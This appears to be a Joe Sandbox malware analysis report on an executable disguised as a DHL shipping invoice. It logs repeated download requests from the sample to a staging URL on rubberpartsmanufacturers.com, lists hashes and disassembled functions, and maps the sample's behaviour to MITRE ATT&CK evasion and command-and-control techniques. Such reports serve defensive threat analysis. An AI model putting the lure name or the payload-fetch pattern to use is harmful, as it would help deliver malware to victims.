2024-10-17 08:49:19 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	57104	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:20 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:20 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:49:20 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:49:20 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	57105	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:22 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:22 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:49:22 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:49:22 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	57106	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:24 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:24 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:49:24 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:49:24 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: DHL-SHIPPING INVOICE-1&.exePID: 7260, Parent PID: 2580

General

Target ID:	0
Start time:	04:45:25
Start date:	17/10/2024
Path:	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe"
Imagebase:	0x7b0000
File size:	50'688 bytes
MD5 hash:	8FBBD902161A8EFA056E3DB546EA7946
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: DHL-SHIPPING INVOICE-1&.exePID: 7260, Parent PID: 2580COMMON

Executed Functions

Function 00DE09E0 Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

h_q, xrefs: 00DE0A52

Memory Dump Source

Source File: 00000000.00000002.4210488367.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID: h_q
API String ID: 0-1834438436
Opcode ID: 5e5f731880b8d9b2c03d28c6c19c517612c27205f0e750896bb2bf3e7b261345
Instruction ID: ac23d24df4e4422af28fe1a5f5570aff655fbccc4af382706f81e3a658a1fb09
Opcode Fuzzy Hash: 5e5f731880b8d9b2c03d28c6c19c517612c27205f0e750896bb2bf3e7b261345
Instruction Fuzzy Hash: 73017131D1474AAFCB009BB9D8044DDBFB5EFC6310F164A92E100B7164EB70258DCBA1

Function 00DE09F0 Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

h_q, xrefs: 00DE0A52

Memory Dump Source

Source File: 00000000.00000002.4210488367.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID: h_q
API String ID: 0-1834438436
Opcode ID: fc756c01952d5ae10d4f25ea6bb9112ddc584a89c4e06b94e0f692fd7c29fa6d
Instruction ID: 0b43192aae1493672ff92cdb7fbb9278c84901487f8ccac18aa844c473b2e0f7
Opcode Fuzzy Hash: fc756c01952d5ae10d4f25ea6bb9112ddc584a89c4e06b94e0f692fd7c29fa6d
Instruction Fuzzy Hash: 79F03C32D1070BA6CB009BB9D8004DEBBBAEFC6720F554A51E51077164EB70619ACBA1

Function 00DE0AF8 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4210488367.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8a18e6307b979d27b362c75e7ec96b0fe1b6ebad0b4e2093e659b06e625fca4
Instruction ID: 5ca41f003af535e638280dcf17cc3ed58ad8cca3ca4016488743a0a50989e1c7
Opcode Fuzzy Hash: d8a18e6307b979d27b362c75e7ec96b0fe1b6ebad0b4e2093e659b06e625fca4
Instruction Fuzzy Hash: 4961F230A002498FDB15EFA9C484ADDBBF2EF89314F19C695E415BB3A5C770AD85CB60

Function 00DE0AE7 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4210488367.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14d244ea4cc2ebc273f8fd69dc8b8ef9b0bee575423522e292d81b730e119fe5
Instruction ID: de250281c739f6e2c43c443f1c767ccac4e0d93757095c09a4f604c1437829d1
Opcode Fuzzy Hash: 14d244ea4cc2ebc273f8fd69dc8b8ef9b0bee575423522e292d81b730e119fe5
Instruction Fuzzy Hash: 86414B30A002498FCB15EF69C444ADDBBF6EF89314F18C695E405BB265DB74AD85CB60

Function 00DE1691 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4210488367.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b5123f2bbe716a1905c6d8e01bd08c5ea6cb2914766f12f439cbc8fe74cf258
Instruction ID: 60b5c27ee703bf01385dd039adae4cb3986f9b418926984c30f07600c0ddbdd5
Opcode Fuzzy Hash: 8b5123f2bbe716a1905c6d8e01bd08c5ea6cb2914766f12f439cbc8fe74cf258
Instruction Fuzzy Hash: 3C31A335F001459FCB14EFA9C58059EBBF6EFC9750B1884AAE845EB354DB349D44CB60

Function 00DE08B9 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4210488367.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17ce104435029ff9778985fbc5a5be8defa24db13406b0b24c10a754a4df0480
Instruction ID: fecdf4d8e0b44022f6e288cf4584d084e7ddda115ea5ce1f8393085b7290318e
Opcode Fuzzy Hash: 17ce104435029ff9778985fbc5a5be8defa24db13406b0b24c10a754a4df0480
Instruction Fuzzy Hash: 21319E303506508FD715EF2AC994B197BE6FF89710B1980A9E509CF3A6DA71DC41CBA0

Function 00DE17F5 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4210488367.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda11aeec48dcd845de5817bd08d927d63a309aa24922f6d248ff9ae4a0f4991
Instruction ID: 46d346a03fa02a6b8bc41a6a8f83d7d83d3bf6afd18c6a9bfdb07c459de166ae
Opcode Fuzzy Hash: cda11aeec48dcd845de5817bd08d927d63a309aa24922f6d248ff9ae4a0f4991
Instruction Fuzzy Hash: 833148B4D0024CAFDB14DFAAC594ADEBFF5AF48340F248429E959AB350DB349945CFA0

Function 00DE1800 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4210488367.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80be0d6e89fcfb5f6333c804a86405108032fb09cae267b23edf851c01177031
Instruction ID: c49842a0657cfbca9bfb36c158d325020953b621717fd7f914062a0d137bb94f
Opcode Fuzzy Hash: 80be0d6e89fcfb5f6333c804a86405108032fb09cae267b23edf851c01177031
Instruction Fuzzy Hash: 083139B4D002489FCB14DFAAC590ADEBFF5AF48350F248029E559AB350DB349945CFA0

Function 00DE08C8 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4210488367.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee85c98cf2b8efa10f1692423dcffe949242732dad49395d6807098d5efed83c
Instruction ID: 11bf2c88579ff51b49f94cb20038ffe44e43e8f2a9144912522e899943c876f8
Opcode Fuzzy Hash: ee85c98cf2b8efa10f1692423dcffe949242732dad49395d6807098d5efed83c
Instruction Fuzzy Hash: CD218E307506108FD715EF2AC984B197BE6FF88714F1980A9E50ACF3A6DA71EC41CBA0

Function 00D8D76D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4210373027.0000000000D8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d8d000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ed0b627dac420b4654f15d3c79d368a2ffc0cce45af5d9e113b8a3e689e1b36
Instruction ID: 6985e89c05a3e4fd99aecf876b802ccd90851f0ea3522907efd73c3d0fbd572e
Opcode Fuzzy Hash: 2ed0b627dac420b4654f15d3c79d368a2ffc0cce45af5d9e113b8a3e689e1b36
Instruction Fuzzy Hash: 1701A231008344AAE710AA2ADE84B67BFD9EF41764F28C52AED4A4A2C6C679DC44C771

Function 00DE0A69 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4210488367.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f70cfb483e4a6b0dc582ca9ba846c0f4c82330f4050fe5e2e14478d4450bcbba
Instruction ID: 1423e1cc838dc38d609fe64b6c376e28c4426250c624086a1f7d6fdd28892940
Opcode Fuzzy Hash: f70cfb483e4a6b0dc582ca9ba846c0f4c82330f4050fe5e2e14478d4450bcbba
Instruction Fuzzy Hash: EDF09632A502495BDF049F75C4595DFBFB59F44310F15457A8402B7290DEB4590BC7D2

Function 00D8D76C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4210373027.0000000000D8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d8d000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86509bfeb396c356bb0ef656eaf4a90d90e61e18ea692706784d6c6e40cc6038
Instruction ID: ae61cbb3189de6de02bfdbe70a1a80c79af095a705e5ad828d9509cd77cacc5e
Opcode Fuzzy Hash: 86509bfeb396c356bb0ef656eaf4a90d90e61e18ea692706784d6c6e40cc6038
Instruction Fuzzy Hash: D5F06D71408344AEE7109A1ADD84BA2FFA8EB51734F18C55AED494A2C6C2799C44CBB1

Function 00DE09A8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4210488367.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c0358edf9603fce99f017ef3537a0561d5660a8eaf12462f207dbd318e434d2
Instruction ID: c2d048fb1d615c0b4acc5bc7b45fab527fc24ebca379296d160d6409e7896b3b
Opcode Fuzzy Hash: 1c0358edf9603fce99f017ef3537a0561d5660a8eaf12462f207dbd318e434d2
Instruction Fuzzy Hash: 38E04F3030A3509FC701577598184493FB99F8B11131500F6F085CB372DA358C01C7A5

Function 00DE0858 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4210488367.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2320d2408b1551488c574c5cd8252bfff24f2ef85d39d7f91bb0046d404ec5f
Instruction ID: bb2b7f24ee80ab3ece76d29822e4ed620dc1450e46b1d4af604bdcf4a997cd63
Opcode Fuzzy Hash: f2320d2408b1551488c574c5cd8252bfff24f2ef85d39d7f91bb0046d404ec5f
Instruction Fuzzy Hash: 90E01A70909389EFCB02EFB8E9096997FB4EF4B30075145EAD448DB266DA315E04EB61

Function 00DE0868 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4210488367.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35fc915fcf01ac425655485b394dbf30c9bfbbe1b24b89f265567ff6e273ab77
Instruction ID: 599fd0e39e0f44cb9989f8fe3552892272f162cf43b07ecfa33244216c8118e1
Opcode Fuzzy Hash: 35fc915fcf01ac425655485b394dbf30c9bfbbe1b24b89f265567ff6e273ab77
Instruction Fuzzy Hash: 65D01730A00208EF8B01EFB8E90165DB7B9EB44200B5041B9D408E7328EA316F009BA0

Function 00DE0840 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4210488367.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 656a29beda091ae09519428c96af251ec8034b7e89dd9026ad66c13112c415c0
Instruction ID: 741391eb499d6f670ec1c00eef8a713808e23afee5c0a4369f51d2318cc7029c
Opcode Fuzzy Hash: 656a29beda091ae09519428c96af251ec8034b7e89dd9026ad66c13112c415c0
Instruction Fuzzy Hash: 41C048B0548690AFCF024BA1EA9C9103F31AF8630030605EB91888E1B68A690818CB26

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DHL-SHIPPING INVOICE-1&.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Windows Analysis Report
DHL-SHIPPING INVOICE-1&.exe